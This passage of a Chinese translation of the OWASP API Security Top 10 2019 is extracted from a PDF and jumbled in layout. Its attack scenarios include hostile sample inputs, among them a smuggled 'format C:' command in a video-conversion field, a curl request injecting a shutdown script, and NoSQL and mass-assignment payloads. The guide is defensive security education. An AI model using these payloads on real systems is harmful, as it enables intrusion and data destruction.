时,就会出现注入缺陷,如 SQL、NoSQL、命令注入等。
攻击者的恶意数据可诱使解释器在未经恰当授权的情况下
执行非预期的命令或访问数据。
API9:2019-资产管理不当
与传统 Web 应用程序相比,API倾向于公开更多的端点,
这使得恰当的文档编制和更新变得非常重要。正确的主机
和已部署的 API 版本清单对于缓解弃用的 API 版本和公开
的调试终端节点等问题也起着重要的作用。
API10:2019-日志和监视不足
日志记录和监控不足,加上与事件响应的集成缺失或无效,
使得攻击者可以进一步攻击系统,保持持久性,转向更多
系统以篡改、提取或销毁数据。大多数违规研究表明,检
测违规行为的时间超过 200 天,通常由外部方而不是内部
程序或监控发现。
API详情
业务详情
7
影响
威胁
来源
攻击向量
安全弱点
攻击案例场景
场景#1:一个在线电子商务平台为他们的入驻商户提供了
一个带有利润图表的列表页。通过查看浏览器发出的请求,
攻击者可以识别到为此图表提供数据源的API 端点及其模式
/shops/{shopName}/revenue_data.json。通过另一个API端点,
攻击者可以获取入驻平台的商户名列表,用一个简单的脚
本即可获取到入驻商户名,通过替换URL中的{shopName},
攻击者获取到数千入驻商户的销售数据。
场景#2:通过监控可穿戴设备的网络流量,其HTTP PATCH
请求中的自定义请求头部字段 X-User-Id:54796引起了攻击者
的注意。通过替换X-User-Id字段的值为54795,攻击者接收
到成功的HTTP响应,并可以修改其他用户的账户数据。
API脆弱吗?
对象级授权是一种通常在代码层面实现的访问控制机制,
用于校验用户仅能访问其有权访问的对象。
所有接收对象ID、并对对象执行任何操作的API,应该实现
对象级授权检查。此检查应该校验该登录用户确实有权对
其所请求的对象进行所请求的操作。
此校验机制失效通常将会导致数据的未授权信息披露、修
改或销毁。
参考资料
外部资料
• CWE-284: Improper Access Control
• CWE-285: Improper Authorization
• CWE-639: Authorization Bypass Through User-Controlled Key
如何防止?
• 基于用户策略和继承关系来实现适当的授权机制。
• 在接收用户输入并访问数据库的所有函数中,都通过一种
授权机制来检查该登录用户是否有权在该记录上执行其所
请求的操作。
• 建议使用不可预测的随机GUID作为信息记录的ID。
• 通过测试来评估授权机制。不要部署带有脆弱点的变更,
这将破坏测试。
API1:2019 失效的对象级授权
可利用性 :3
普遍性:3
可检测性 :2
技术:3
攻击者可以在发送的请求中改变对象
的ID来攻击存在“失效的对象级授权”
漏洞的API。这将导致敏感数据的未授
权访问。该问题在基于API的应用中非
常普遍,因为服务器通常不会完整地
跟踪用户的状态,而是依赖用户请求
参数中的对象ID来决定访问哪些目标
对象。
这已经成为最普遍、且影响广泛的API攻击。
授权和访问控制机制在现代应用中已经非常
复杂并广泛使用。即使应用已经实现了适当
的鉴权设施,开发者在访问敏感对象时仍可
能忘记使用这些鉴权设施。通常在静态或动
态测试中并不检查访问控制机制。
未授权访问将导致数据向未授权的
组织披露、数据丢失或数据篡改。
未授权的对象访问也能导致整个账
户被控制。
API详情
业务详情
8
影响
威胁
来源
攻击向量
安全弱点
攻击案例场景
场景#1:凭据填充(使用用户名、密码列表)是一种常见
的攻击。如果应用没有实现自动的威胁保护或者凭据填充
保护,这个应用就能被当作密码验证器来检测凭据是否有
效。
场景#2:攻击者通过向/api/system/verification-codes发起一
个POST请求并在请求体中提供用户名来启动重置密码工作
流。然后一个6位数字的SMS短信验证码发送到受害者的手
机。由于该API没有实现调用频率限制,攻击者可以用多线
程脚本向/api/system/verification-codes/{smsToken}发送请求
来尝试所有可能的验证码组合,从而在几分钟内破解验证
码。
API脆弱吗?
应用端点和工作流是应该被保护的资产。“忘记密码/重置
密码”应该和认证机制一样被同等看待。
如果API含有以下项则,则其存在风险:
• 当攻击者拥有有效的用户名和密码列表时,可以进行凭据
填充;
• 缺失验证码或没有账号锁定机制,攻击者可以对同一用户
账号进行暴力破解;
• 允许弱密码;
• 发送用于认证的敏感信息,例如在URL中发送令牌和密码;
• 未校验令牌的真实性;
• 接受未签名或弱签名的JWT令牌(“alg”:“none”),或未校
验令牌过期时间;
• 使用明文密码、弱加密或者弱哈希密码;
• 使用弱秘钥。
参考资料
OWASP资料
• OWASP Key Management Cheat Sheet
• OWASP Authentication Cheat Sheet
• Credential Stuffing
外部资料
• CWE-798: Use of Hard-coded Credentials
如何防止?
• 确保您知晓所有用于API认证的工作流(移动应用、Web
应用、执行一键认证的Deep Links等);
• 询问您的工程师看是否存在您遗漏了的工作流;
• 阅读您所使用的认证机制文档,确保您理解它是如何使用
的。OAuth是一种协议,它不是一种认证,也不是API Key;
• 不要在认证、凭据生成、密码存储方面自创算法,使用标
准的算法;
• 凭据重置、忘记密码端应被视作认证端点,在暴力破解、
请求频率限制和锁定保护上同等对待;
• 使用OWASP Authentication Cheat Sheet;
• 如有可能,尽量使用多因素认证;
• 在您的认证端上使用反暴力破解机制来缓解凭据填充、字
典攻击和暴力破解风险。此机制应该比您一般API具有更严
格的请求频率限制;
• 实现账号锁定、验证码机制来防止对特定用户的暴力破解。
实现弱密码检查;
• API Key不应用于用户认证,而用于客户端应用程序或项目
认证。
API2:2019 失效的用户身份认证
可利用性 :3
普遍性:2
可检测性 :2
技术:3
API的认证机制是一个复杂且容易使人
迷惑的机制。软件工程师和安全工程
师对认证的边界和如何正确实现它可
能存在误解。并且,对攻击者来说,
认证机制是比较容易接触到的目标,
因为它是对所有人开放的。这两点使
得认证组件成为很多攻击的潜在风险
点。
有两个子问题:1、缺少保护机制。负责认证
的API端点必须区别于普通端点对待,并且实
现额外的保护。
2、错误实现保护机制。所使用的保护机制没
有考虑攻击向量,或不是其所适合的使用场
景(如:为物联网设计的认证机制可能并不
适用于WEB应用)。
攻击者可以访问用户在系统中的账
户,读取他们的个人数据,并以他
们的身份执行敏感操作,例如转账
和发送私人消息。
API详情
业务详情
9
影响
威胁
来源
攻击向量
安全弱点
攻击案例场景
场景#1:移动开发团队使/api/articles/{articleId}/comments/
{commentId} 在article 视图中展示comments。通过嗅探移动
应用流量,攻击者可以找出被返回的其他comments的敏感
信息。端点通过在包含个人识别信息(PII)的User 模型上
使用通用的toJSON()方法,将对象序列化。
场景#2:一个基于物联网的视频监控系统允许管理员创建
具有不同权限的用户。当管理员为一个新的安保人员创建
账户时,应当在站点上只分配特定建筑范围的访问权限。
当安保人员使用手机应用时,API会触发调用/api/sites/111/
cameras 来接收可用摄像头传输的数据,并显示在显示屏上。
这个响应包含了一个基于{"id":"xxx","live_access_token":
“xxxxbbbbb”,“building_id”:“yyy”}格式的摄像头详细列表。因
此,当客户端的图形化界面仅显示安保人员应当可以访问
的界面时,实际上API返回了站点内所有摄像头的完整列表。
API脆弱吗?
API在设计上将敏感数据返回至客户端,这些数据通常在展
示给用户前被客户端过滤掉,因此,攻击者可以非常容易
地通过嗅探流量获取敏感信息。
参考资料
外部资料
• CWE-213: Intentional Information Exposure
如何防止?
• 不要依赖客户端来过滤敏感数据;
• 检查API的响应,确认其中仅包含合法数据;
• 在开放一个新的API 端点前,后端工程师应当反复确认
“谁才是真正的数据使用者?”;
• 避免使用to_json() 和to_string()之类的通用方法,而是选用
您真正想要返回的特定属性;
• 将您的应用存储和工作所使用的敏感信息及个人识别信息
(PII)进行分类,并检查所有返回上述信息的 API 调用,确
认这些响应是否构成安全问题;
• 执行schema-based响应验证机制作为额外的安全措施。这
种机制定义并强制检查所有方法返回的数据,包括错误信
息。
API3:2019 过度的数据暴露
可利用性 :3
普遍性:2
可检测性 :2
技术:2
利用过度暴露的数据十分容易,通常
通过嗅探流量分析API的响应获取不应
该返回给用户的多余敏感信息。
API依赖客户端实现数据过滤。当API被用作数
据源时,有时开发者会尝试将API用于通用的
方法,而不去考虑所暴露数据的敏感性。自
动化工具通常无法检测到该类漏洞,因为在
没有对应用有深入理解的情况下,很难区分
API返回的合法数据和不应该返回的敏感数据。
过度的数据暴露通常导致敏感数据
的泄露。
API详情
业务详情
10
影响
威胁
来源
攻击向量
安全弱点
攻击案例场景
场景#1:一攻击者通过向/api/v1/images发送POST请求来上
传大尺寸的图像。在上传完成后,API将创建多个不同大小
的缩略图。由于上传的图像过大,可用内存在创建缩略图
时被耗尽,API将无法响应。
场景#2:当应用包含一个每页可以显示200个用户的列表界
面时,我们可以使用/api/users?page=1&size=100查询从服务
器中检索用户列表。攻击者可以将size参数篡改至 200 000,
从而导致数据库出现性能问题。同时,API将无法响应该客
户端的其他请求,或其他客户端的请求,形成DoS。
该场景也可能造成整数溢出或缓存溢出错误。
API脆弱吗?
API请求会占用网络、CPU、内存和存储等资源,资源的需
求取决于用户输入和端点的业务逻辑。同时,考虑到不同
API客户端请求的竞争资源情况。当出现下述限制缺失或不
恰当配置时(例如,过高或过低),API将存在脆弱点:
• 执行超时;
• 最大化分配内存;
• 文件描述符数;
• 进程数;
• 请求有效负载大小(例如,上传);
• 单个客户端/资源的请求数;
• 单次请求响应时,每页返回的记录数。
参考资料
OWASP资料
• Blocking Brute Force Attacks
• Docker Cheat Sheet - Limit resources (memory, CPU, file
descriptors, processes, restarts)
• REST Assessment Cheat Sheet
外部资料
• CWE-307: Improper Restriction of Excessive Authentication
Attempts
• CWE-770: Allocation of Resources Without Limits or Throttling
• “Rate Limiting (Throttling)” - Security Strategies for
Microservices-based Application Systems,NIST
如何防止?
• Docker可以轻松地限制内存、CPU、重启次数、文件描述
符和进程;
• 对用户调用API的频率执行明确的时间窗口限制;
• 在突破限制时通知客户,并提供限制数量及限制重置的时
间;
• 在服务器端为字符串查询和主体参数请求提供适当的验证,
尤其是那些在响应中控制返回记录数量的验证;
• 定义并强制验证所有传入参数和有效负荷的最大数据量,
例如字符串的最大长度和数组中元素的最大数量。
API4:2019 资源缺乏和速率限制
可利用性 :2
普遍性:3
可检测性 :3
技术:2
利用简单的API请求,无需身份认证,
即可使用单一的本地计算机或云计算
资源来执行多个并发请求。
通常,API没有进行速率限制,或速率限制没
有合理配置。
漏洞可能导致DoS,造成API无响应
或不可用。
API详情
业务详情
11
影响
威胁
来源
攻击向量
安全弱点
攻击案例场景
场景#1:在仅允许受邀用户加入的应用程序注册过程中,
移动应用程序将触发对GET /api/invites/ {invite_guid}的API调
用。响应包含一个JSON,其中包含有关邀请的详细信息,
包括用户的角色和用户的电子邮件。
攻击者复制了请求,并操纵HTTP方法和端点进行POST
/api/invites/new。管理员只能使用管理控制台访问该端点,
该控制台未实现功能级别的授权检查。
攻击者利用此问题并向自己发送邀请以创建管理员帐户:
POST /api/invites/new
{“email”:”[email protected]”,”role”:”admin”}
场景#2:API包含仅应向管理员公开的端点 GET /api/admin
/v1/users/all。该端点返回应用程序所有用户的详细信息,
并且未实现功能级别的授权检查。研究过API结构的攻击者
进行了有根据的猜测,并设法访问了此端点,从而暴露了
应用程序用户的敏感细节。
API脆弱吗?
查找失效的功能级授权问题的最佳方法是对授权机制进行
深入分析,同时牢记用户层次结构,应用程序中的不同角
色或组,并提出以下问题:
• 普通用户可以访问管理端点吗?
• 用户是否可以通过简单地更改HTTP方法(如,从GET到
DELETE)来执行他们不应该授予的敏感动作(如,创建、修
改或删除)?
• 通过简单地猜测端点 URL和参数(如,
/api/v1/users/export_all),来自X组的用户是否可以访问本
来应该只向Y组用户公开的功能?
不要假设仅基于URL路径的API 端点是常规端点或管理端点。
尽管开发人员可能选择将大多数管理端点公开在特定的相
对路径下,例如api/admins,但在其他相对路径下找到这些
管理端点以及常规端点(例如api/users)是很常见的。
参考资料
OWASP资料
• OWASP Article on Forced Browsing
• OWASP Top 10 2013-A7-Missing Function Level Access
Control
• OWASP Development Guide: Chapter on Authorization
外部资料
• CWE-285: Improper Authorization
如何防止?
您的应用程序应该具有从所有业务功能中调用的一致且易
于分析的授权模块。通常,这种保护是由应用程序代码外
部的一个或多个组件提供的。
• 强制执行机制应拒绝所有访问,要求显式授予特定角色才
能访问每个功能;
• 在考虑应用程序和组层次结构的业务逻辑的同时,针对功
能级授权缺陷检查API端点;
• 确保所有管理控制器都从管理抽象控制器继承,该抽象控
制器根据用户的组/角色实施授权检查;
• 确保常规控制器内的管理功能根据用户的组和角色实施授
权检查。
API5:2019 失效的功能级授权
可利用性 :3
普遍性:2
可检测性 :1
技术:2
攻击者利用漏洞将合法的API调用发送
给他们不应访问的API 端点。这些端点
可能会暴露给匿名用户或常规的非特
权用户。由于API更加结构化,并且更
易于预测访问API的方式,因此更容易
发现API中的这些缺陷(如,将HTTP方
法从GET替换为PUT,或将URL中的
“用户”字符串更改为“管理员”)。
对功能或资源的授权检查通常是通过配置来
管理的,有时是在代码级别上进行的。实施
适当的检查可能会造成困惑,因为现代应用
程序可能包含多种类型的角色或组以及复杂
的用户层次结构(如,子用户、具有多个角
色的用户)。
这些缺陷使攻击者可以访问未经授
权的功能。管理功能是此类攻击的
主要目标。
API详情
业务详情
12
影响
威胁
来源
攻击向量
安全弱点
攻击案例场景
场景#1:一个乘车共享应用程序为用户提供了编辑个人资料基本
信息的选项。在此过程中,将使用以下合法的JSON对象将API调用
发送到PUT /api/v1/users/me:{"user_name":"inons","age":24}
请求GET /api/v1/users/me包含一个附加credit_balance属性:
{"user_name":"inons","age":24,"credit_balance":10}.
攻击者使用以下负载重播第一个请求:
{"user_name":"attacker","age":60,"credit_balance":99999}
由于端点易受批量分配缺陷影响,攻击者无需支付即可获得信用。
场景#2:一个视频共享门户允许用户上传并下载不同格式的内容。
研究API的攻击者发现,端点GET /api/v1/videos/{videoid}/metadata
返回具有视频属性的JSON对象。属性之一是”mp4_conversion_
Params”: ”-v codec h264”,表示应用程序使用shell命令来转换视频。
攻击者还发现端点POST /api/v1/videos/new容易受到批量分配缺陷
的影响,并允许客户端设置视频对象的任何属性。攻击者将恶意
值设置如下:”mp4_conversion_params”:”-v codec h264 && format C:
/”。一旦攻击者将视频下载为MP4,此值将导致注入shell命令。
API脆弱吗?
现代应用程序中的对象可能包含许多属性。其中一些属性
应由客户端直接更新(如,user.firstname或user.address),
而某些属性则不应该更新(如,user.isvip标志)。
如果API 端点自动将客户端参数转换为内部对象属性,而不
考虑这些属性的敏感性和暴露程度,则该端点很容易受到
攻击。这可能使攻击者可以更新他们不应该访问的对象属
性。
敏感属性示例:
• 与权限相关的属性:user.isadmin、user.isvip仅应由管理员
设置;
• 与流程相关的属性:user.cash仅应在付款验证后在内部设
置;
• 内部属性:article.created_time仅应在应用程序内部设置。
参考资料
外部资料
• CWE-915: Improperly Controlled Modification of Dynamically-
Determined Object Attributes
如何防止?
• 如果可能,请避免使用将客户输入自动绑定到代码变量或
内部对象中的函数;
• 仅将客户端可更新的属性列入白名单;
• 使用内置功能将客户端不应访问的属性列入黑名单;
• 如果可能,为输入数据有效负载准确、明显的定义和实施
schema格式。
API6:2019 批量分配
可利用性 :2
普遍性:2
可检测性 :2
技术:2
攻击利用通常需要了解业务逻辑、对
象的关系和API结构。在API中更容易利
用批量分配,因为,它们通过设计公
开了应用程序隐含的实现方法以及属
性名称。
现代框架鼓励开发人员使用将来自客户端的
输入自动绑定到代码变量和内部对象中的功
能。攻击者可以使用这种方法来更新或覆盖
开发人员从未打算公开的敏感对象属性。
利用该漏洞可能导致特权提升、数
据篡改、绕过安全机制等。
API详情
业务详情
13
影响
威胁
来源
攻击向量
安全弱点
攻击案例场景
场景#1:攻击者在服务器的根目录下找到.bash_history文件,
该文件包含DevOps团队用于访问API的命令:
$ curl -X GET 'https://api.server/endpoint/' -H 'authorization:
Basic Zm9vOmJhcg=='
攻击者还可以通过仅由DevOps团队使用而未记录的新端点。
场景#2:为了锁定特定服务,攻击者使用主流的搜索引擎
搜索可从互联网直接访问的计算机。攻击者发现一个主机
正在运行主流的数据库管理系统,该系统正在侦听默认端
口。主机使用的是默认配置,默认情况下禁用了身份验证,
攻击者可以访问包含PII、个人首选项和身份验证数据在内
的数百万条记录。
场景#3:检查移动应用上的流量,攻击者发现并非所有的
HTTP流量都使用安全协议(如 TLS),特别是页面外链,在
下载个人头像时,由于用户交互是二进制数的,尽管API的
流量运行在安全协议上,但攻击者发现API响应大小的模式,
他使用它来跟踪用户对渲染内容的偏好(如,个人头像)。
API脆弱吗?
在以下情况下,API可能会受到攻击:
• 应用程序堆栈的任何部分都缺少适当的安全加固,或者应
用程序堆栈对云服务的权限配置不正确;
• 缺少最新的安全补丁,或者系统已经过期;
• 启用了不必要的功能(如,HTTP Verbs的功能应用);
• 缺少传输层加密;
• 安全指令未发送给客户端(如, HTTP的安全返回头);
• 未配置或错误配置CORS(跨域资源共享)策略;
• 错误提示泄漏了调用栈跟踪信息或其他敏感信息。
参考资料
OWASP资料
• OWASP Secure Headers Project
• OWASP Testing Guide: Configuration Management
• OWASP Testing Guide: Testing for Error Codes
• OWASP Testing Guide: Test Cross Origin Resource
Sharing
外部资料
• CWE-2: Environmental Security Flaws
• CWE-16: Configuration
• CWE-388: Error Handling
• Guide to General Server Security,NIST
• Let’s Encrypt: a free,automated,and open Certificate
Authority
如何防止?
API的生命周期应包括:
• 一个可重复的加固流程,可快速、轻松地部署一个适当封
闭的环境;
• 在整个API堆栈中检查和更新配置的任务。审查应包括:
文件编排、API组件和云服务(如,S3 bucket权限);
• 用于所有API交互访问静态资源(如,图像)的安全通信
通道;
• 在所有环境中持续评估配置和设置有效性的自动化过程。
此外:
• 为了防止异常追踪和其他有价值的信息被传回攻击者,如
果可以,定义和强制使用统一的API响应格式,包括错误信
息;
• 确定API只能被特定HTTP方法访问,其他的HTTP方法访
问都应该被禁止(如,HEAD方法);
• 对于主要是浏览器客户端(如, WebApp前端)访问的
API应该实现正确的CORS(跨域资源共享)策略。
API7:2019 安全配置错误
可利用性 :3
普遍性:3
可检测性 :3
技术:2
攻击者通常会试图查找未修补的缺陷、
公共端点或未受保护的文件和目录,
以获取对系统未经授权的访问或了解。
从网络层到应用层,在API的任何层级都可能
发生安全配置错误。自动化工具可用于检测
和利用不必要的服务或遗留选项等错误配置。
安全配置错误不仅会暴露敏感用户
数据,还包括系统细节,而这些细
节可能导致服务器完全被控制。
API详情
业务详情
14
影响
威胁
来源
攻击向量
安全弱点
攻击案例场景
场景#1:家长控制设备的固件提供了一个接口/api/CONFIG
/restore,期望将appId作为multipart参数进行传送。通过反编译,攻击者发
现appId没有经过任何处理直接传送到系统调用中执行。
snprintf(cmd, 128, "%srestore_backup.sh /tmp/postfile.bin %s %d“,
"/mnt/shares/usr/bin/scripts/“, appid,66);
system(cmd);
攻击者使用以下命令就可关闭任何使用带有该缺陷固件的设备:
$ curl -k "https://${deviceIP}:4567/api/CONFIG/restore" -F
'appid=$(/etc/pod/power_down.sh)'
场景#2:有一个能实现增删改查功能、用于进行预定操作的应用。攻击者
研究发现在删除预定请求中的bookingId字符串查询参数可能存在NoSQL注
入。请求类似:DELETE/api/bookings?bookingId=678.
API服务器使用以下函数实现删除请求:
router.delete('/bookings', async function (req, res, next) {
try {
const deletedBooking = await Bookings.findOneAndRemove({_id' : req.query.bookingId});
res.status(200);
} catch (err) {
res.status(400).json({
error: 'Unexpected error occured while processing a request'
});
}
});
攻击者拦截了请求并更改bookId查询字符串参数如下所示。这个例子中,
攻击者试图删除其他用户的预定操作。
DELETE /api/bookings?bookingId[$ne]=678
API脆弱吗?
以下情况会导致注入攻击:
• API不对客户端提供的数据进行验证、过滤或净化;
• 客户端提供的数据直接使用或者拼接到SQL/NoSQL/LDAP查
询语句、OS命令、XML解释器和ORM(对象关系映射器)
/ODM(对象文档映射器)中;
• API不对来自外部系统(如,集成系统)的数据进行验证、
过滤或净化。
参考资料
OWASP资料
• OWASP Injection Flaws
• SQL Injection
• NoSQL Injection Fun with Objects and Arrays
• Command Injection
外部资料
• CWE-77: Command Injection
• CWE-89: SQL Injection
如何防止?
防止注入需要将数据与命令和查询分开。
• 使用统一、可信并且活跃的库执行数据验证;
• 对客户端提供的数据、或其他来自集成系统的数据进行验
证、过滤和清理;
• 应使用目标解释器的特定语法对特殊字符进行转义;
• 首选提供参数化查询的安全API;
• 总是限制返回记录的数量,以防止注入引起大量数据泄漏;
• 使用足够多的过滤器验证输入的数据,保证每一个输入参
数只允许有效的值通过;
• 为所有字符串参数定义数据类型和严格模式。
API8:2019 注入
可利用性 :3
普遍性:2
可检测性 :3
技术:3
攻击者通过任何可用的注入方法(如,
直接输入、参数、集成服务等)向API
提供恶意数据,并期望这些恶意数据
被发送至解释器执行。
注入漏洞非常常见,通常出现在SQL、LDAP或
者NoSQL查询、OS命令、XML解释器和ORM中。
攻击者可以使用扫描器或者模糊测试工具发
现。
注入会导致信息泄漏和数据丢失。
还可能导致DoS,或者主机被接管。
API详情
业务详情
15
影响
威胁
来源
攻击向量
安全弱点
攻击案例场景
场景#1:一个本地搜索服务商在重新设计了他们的应用程
序后留下了一个没有保护且运行中的旧API版本
(api.someservice.com/v1)并且其能访问用户数据库。而针
对最新发布的一版应用程序,攻击者发现了API地址
(api.someservice.com/v2)。将URL中的v2替换为v1使攻击
者能够访问旧的、不受保护的API,从而暴露超过1亿用户的
个人身份信息(PII)。
场景#2:一个社交网络实现了一种速率限制机制,阻止攻
击者使用暴力猜测重置密码令牌。该机制不是作为API代码
本身的一部分实现的,而是作为客户机和官方API之间的一
个独立组件实现的(www.socialnetwork.com)。一名研究
人员发现了一个运行相同API的beta API主机
(www.mbasic.beta.socialnetwork.com),其中包括重置密
码机制,但速率限制机制还没有到位。研究人员可以通过
一个简单的暴力破解6位令牌来重置任何用户的密码。
API脆弱吗?
如果API含有以下项,则存在风险:
• API主机的用途不明晰,同时以下问题也没有明确的答案:
– API在哪个环境中运行(如,生产、准备、测试、开
发)?
– 谁应该对API具有网络访问权限(如,公共、内部、
合作伙伴) ?
– 正在运行的是哪个API版本?
– API收集和处理哪些数据(例如,PII)?
– 数据流是什么?
• 没有关于API的文档,或者现有文档没有更新;
• 每个API版本都没有下线计划;
• 主机资源清单缺失或过期;
• 集成服务清单中无论是自有还是第三方的信息存在缺失或
未更新的现象;
• 旧的API版本在没有打补丁的情况下持续运行。
参考资料
外部资料
• CWE-1059: Incomplete Documentation
• OpenAPI Initiative
如何防止?
• 列出所有API主机并记录所有重要信息,重点放在API的环
境上(如,生产、准备、测试、开发环境),谁应该对主机具
有网络访问权(如,公共、内部、合作伙伴)和API版本;
• 对集成服务进行清点并记录重要信息,如它们在系统中的
角色、交换了什么数据(数据流)及其敏感性;
• 记录API的所有信息,如,身份验证、错误、重定向、速
率限制、跨域资源共享(CORS)策略和端点,包括它们的参
数、请求和响应;
• 采用开放标准自动生成文档,包括在CI/CD管道中构建的
文档;
• 向授权使用API的人提供API文档;
• 为所有公开版本的API使用外部保护措施,如API安全防火
墙,不只是针对当前的产品版本;
• 避免在非生产API部署中使用生产数据。如果这是不可避
免的,这些端点应该得到与生产端点相同的安全处理;
• 当较新的API版本包含安全改进时,实施风险分析以确定
旧版本得到所需的风险缓解措施:如,是否可能在不破坏
API兼容性的情况下支持这些改进,或者需要迅速删除旧版
本并强制所有客户端迁移到最新版本。
API9:2019 资产管理不当
可利用性 :3
普遍性:3
可检测性 :2
技术:2
旧的API版本通常是未打补丁的,这是
一种不需要对抗最先进的安全机制就
可以轻松入侵系统的方法,这种做法
通常可能是为了保护最新的API版本。
资产文档的更新不及时使查找或修复漏洞变
得更加困难。缺乏资产盘点和下线策略,导
致运行着未修补的系统,最终致使敏感数据
外泄。由于微服务等先进技术概念使得应用
程序易于部署和独立运作(如云计算、k8s),
所以经常会发现不必要的公开API主机。
攻击者可以访问敏感数据,甚至可
以通过旧的、未打补丁的API版本
连接到同一数据库从而控制服务器。
API详情
业务详情
16
影响
威胁
来源
攻击向量
安全弱点
攻击案例场景
场景#1:管理API的访问密钥泄漏到公共存储库中。存储库
所有者收到了关于潜在泄漏的电子邮件通知,但在事件发
生后花费了48个小时采取行动,那么访问密钥暴露就可能
导致敏感数据被访问。由于日志记录不足,公司无法评估
恶意访问者访问了哪些数据。
场景#2:一个视频共享平台遭到了“大规模”的凭据填充
攻击。尽管登录失败,但在攻击期间没有触发警报。作为
对用户投诉的回应,我们分析了API日志并检测到了攻击。
该公司不得不发布公告,要求用户重置密码,并向监管部
门报告此事。
API脆弱吗?
如果API含有以下项,则存在风险:
• 没有生成任何日志、日志级别没有正确设置、或日志消息
缺失足够的细节信息;
• 不能保证日志的完整性(如,日志注入);
• 没有对日志进行持续监视;
• API基础设施没有被持续监视。
参考资料
OWASP资料
• OWASP Logging Cheat Sheet
• OWASP Proactive Controls: Implement Logging and
Intrusion Detection
• OWASP Application Security Verification Standard: V7:
Error Handling and
外部资料
• CWE-223: Omission of Security-relevant Information
• CWE-778: Insufficient Logging
如何防止?
• 记录所有失败的身份验证尝试、拒绝访问和输入验证错误;
• 日志应该使用适合日志管理解决方案的格式来编写,并且
应该包含足够详细的信息来识别恶意的行动者;
• 日志应作为敏感数据处理,其完整性应在空闲和传输时得
到保证;
• 配置一个监控系统,以持续监视基础设施、网络和API功
能;
• 使用安全信息和事件管理系统(SIEM)来整合和管理来
自API和主机的所有组件的日志;
• 配置自定义仪表板和警报,能够更早地检测和响应可疑活
动。
API10:2019 日志和监视不足
可利用性 :2
普遍性:3
可检测性 :1
技术:2
攻击者利用缺乏日志记录和监视的机
遇,在未被注意的情况下滥用系统。
如果没有日志和监视,或者日志和监视不足,
那么就几乎不可能跟踪可疑活动并及时响应。
由于无法发现正在进行的恶意活动,
攻击者有足够的时间来完全破坏系
统。
17
创建和维护安全软件或修复现有软件的任务可能很困难,API 也一样。
我们相信教育和意识是编写安全软件的关键因素。为实现这一目标需要的其他所有事务,
都有赖于建立和使用可重复的安全流程和标准安全控制。
从OWASP项目开始以来,OWASP就提供了大量免费和开放的资源来解决安全问题。欢迎
访问 OWASP 项目页面了解可用项目的综合清单。
+D
开发人员下一步做什么?
教育
您可以根据您的专业和兴趣开始阅读OWASP教育项目材料。对于实践学习,
我们在路线图上添加了“Completely Ridiculous API(crAPI)项目” 。同时,
您可以使用OWASP DevSlop Pixi模块实践WebAppSec,这是一个易受攻击
的WebApp和API服务,目的是教用户如何测试现代web应用程序和API的安
全问题,以及如何在将来编写更安全的API。您还可以参加OWASP AppSec
大会的培训环节,或加入您当地的OWASP分部。
安全要求
从一开始,安全就应该是每个项目的一部分。在获取需求时,定义“安全”
对该项目意味着什么是很重要的。OWASP建议您使用OWASP应用程序安
全性验证标准(ASVS)作为设定安全要求的指南。如果您是外包,请考虑
OWASP安全软件合同附件,该附件应根据当地法律法规进行调整。
安全架构
在项目的所有阶段,安全都应该是一个关注点。OWASP Prevention Cheat
Sheet是指导如何在架构阶段设计安全性的良好起点。而其他内容,您将
找到REST Security Cheat Sheet和REST Assessment Cheat Sheet。
标准的安全控件
采用标准的安全控件减少了在编写自有逻辑时引入安全弱点的风险。尽管
许多现代框架现在都带有内置的标准有效控件,但是OWASP Proactive
Controls为您提供了一个很好的概述,让您了解应该在项目中包含哪些安
全控件。OWASP还提供了一些您可能会发现有价值的库和工具,例如验证
控件。
软件安全开发
生命周期
在构建API时,可以使用OWASP软件保障成熟度模型(SAMM)来改进流
程。在不同的API开发阶段可以使用其他OWASP项目(如,OWASP代码审
计项目),来帮助您。
18
由于API在现代应用程序架构中的重要性,构建安全的API至关重要。安全不能被忽视,
它应该是整个开发生命周期的一部分。每年的扫描和渗透测试已经不够了。
DevSecOps应该加入到开发工作中,促进整个系统的持续安全测试。他们的目标是在不
影响开发进度的情况下,通过安全自动化来增强开发管道。
如有疑问,请随时了解并经常查阅《DevSecOps宣言》。
+DSO
DevSecOps下一步做什么?
了解威胁模型
测试优先级来自威胁模型。如果您还没有,请考虑参考OWASP应用程
序安全验证标准(ASVS)和OWASP测试指南。让开发团队参与进来可
能有助于提高他们的安全意识。
了解SDLC
加入开发团队以更好地了解软件开发生命周期。您贡献的持续安全测
试需配置有合适的人员、流程和工具方面。每个人都应该同意这个过
程,这样就不会有不必要的摩擦或阻力。
测试策略
由于您的工作不应该影响开发进度,所以您应该明智地选择最佳(简
单、最快、最准确)技术来验证安全需求。OWASP安全知识框架与
OWASP应用程序安全验证标准可以是功能性和非功能性安全需求的重
要来源,其中重要来源还包括其他类似于DevSecOps社区提供的项目和
工具。
实现覆盖范围和准确
性
您是开发人员和运维团队之间的桥梁。要实现覆盖,不仅要关注功能,
还要关注编排。从开始就和开发团队和运维团队紧密合作,您就可以
优化您的时间和效率。您应该追求一个基本安全性不断得到验证的状
态。
清晰地沟通调查结果
贡献价值少或没有摩擦。在开发团队正在使用的工具(不是PDF文件)
中及时交付结果。加入开发团队解决问题。抓住机会指导他们,清楚
地描述漏洞以及如何利用,包括利用漏洞进行的情景。
19
+DAT
方法和数据
概述
由于 AppSec 行业并没有特别关注最近的的应用程序架构(其中 API 发挥着重要作用),
因此,基于公开征集的数据,编制一份包含十大最关键 API 安全风险的列表是一项艰巨的
任务。尽管没有征集公开的数据,但由此产生的十大API安全风险仍然是基于可用的公开
数据、安全专家的贡献、以及与安全社区的公开讨论。
方法和数据
在第一个阶段,由一组安全专家收集、 审查和分类有关 API 安全事件的公开数据。这
样的数据是在一年的时间内从bug赏金平台和漏洞数据库收集的,最终被用于统计。
在下一个阶段,具有渗透测试经验的安全人员被要求编制他们自己的Top 10列表。
采用OWASP 风险评级方法进行风险分析。评分是由安全从业人员进行讨论和审查。有
关这些问题的考虑,请参阅 本文API 安全风险部分。
《OWASP API 安全 Top 10 2019》的初稿是第一阶段统计结果与安全从业人员的列表达
成一致的结果。该草案随后提交给另一组在API安全领域具有相关经验的安全从业人员,
供其参考和审阅。
《OWASP API 安全 Top 10 2019》首次在OWASP Global AppSec Tel Aviv活动上发布
(2019年5月)。从那时起,它就在GitHub上供公众讨论和建议。
本文的贡献者列表请见本文致谢部分。
20
感谢以下人员的贡献
我们要感谢以下在GitHub上或通过其他方式的贡献者:
• 007divyachawla
• Abid Khan
• Adam Fisher
• anotherik
• bkimminich
• caseysoftware
• Chris Westphal
• dsopas
• DSotnikov
• emilva
• ErezYalon
• flascelles
